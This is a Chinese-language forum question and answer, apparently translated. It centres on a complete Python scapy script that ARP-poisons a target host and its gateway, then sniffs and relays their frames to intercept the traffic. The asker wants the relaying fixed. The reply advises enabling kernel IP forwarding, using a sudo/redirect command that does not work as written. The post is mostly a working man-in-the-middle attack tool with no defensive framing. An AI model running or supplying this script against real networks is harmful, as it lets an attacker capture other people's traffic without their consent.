使用 python scapy 的 ARP 欺骗不起作用

Question

我使用 scapy python 代码成功完成了 ARP 欺骗。目标电脑中用于网关的 mac 地址已更改为我电脑的 mac 地址，路由器缓存中目标电脑的 mac 地址已更改为我的 mac 地址。现在我想通过我的电脑将这些数据包转发到相应的位置。这样我就可以看到目标电脑和 gateway.But 之间的流量它不起作用。

    import os
import sys
import threading
import signal
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *


our_mac='d8:5d:e2:0c:58:87'


print 'Enter Target IP:'
target_ip = raw_input()

print 'Enter Gateway IP'
gateway_ip = raw_input()

packet_count = 50

# turn off output
conf.verb = 0


def get_mac(ip_address):
    responses,unanswered =srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
    # return the MAC address from a response
    for s,r in responses:
        return r[Ether].src
    return None


gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)

else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)
if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip,target_mac)




def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    # slightly different method using send
    print"[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100)
    # signals the main thread to exit
    print"[*] Target Restored..."
    sys.exit(0)
    os.kill(os.getpid(), signal.SIGINT)



def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac
    print "[*] Beginning the ARP poison. [CTRL-C to stop]"
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
            sys.exit(0)
    print "[*] ARP poison attack finished."
    sys.exit(0)
    return

def send_packet_to_gateway(pkt):
    try:
        if(pkt.haslayer(IP) and pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=gateway_mac
            sendp(pkt)
        elif(pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=gateway_mac
            sendp(pkt)
    except:
        print "It's interrupt"
        sys.exit(0)


def send_packet_to_target(pkt):
    try:
        if(pkt.haslayer(IP) and pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=target_mac
            sendp(pkt)
        elif(pkt.haslayer(Ether) and not pkt.haslayer(ARP)):
            pkt[Ether].dst=target_mac
            sendp(pkt)
    except:
        print "It's interrupt"
        sys.exit(0)


def capture_packets():
    try:
        print "[*] Starting sniffer for %d packets" % packet_count

        bpf_filter = "dst host %s and ether dst %s" % (target_ip, our_mac)
        sniff(filter=bpf_filter,prn=send_packet_to_target)

    except KeyboardInterrupt:
        # restore the network
        #restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
        print "It's interrupt"
        sys.exit(0)
        return




# start poison thread
poison_thread = threading.Thread(target = poison_target, args =(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count
    capture_thread = threading.Thread(target = capture_packets)
    capture_thread.start()

    bpf_filter = "src host %s and ether dst %s" % (target_ip,our_mac)
    sniff(filter=bpf_filter,prn=send_packet_to_gateway)


except KeyboardInterrupt:
    sys.exit(0)
    # restore the network
    #restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    #sys.exit(0)

Answer 1

你不需要用Scapy转发数据包。您可以启用 ip 转发，您的系统将自动转发数据包。在 linux 中，您可以运行以下命令：

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

使用这个命令你只需要运行来自Scapy的毒药，而不是重定向。

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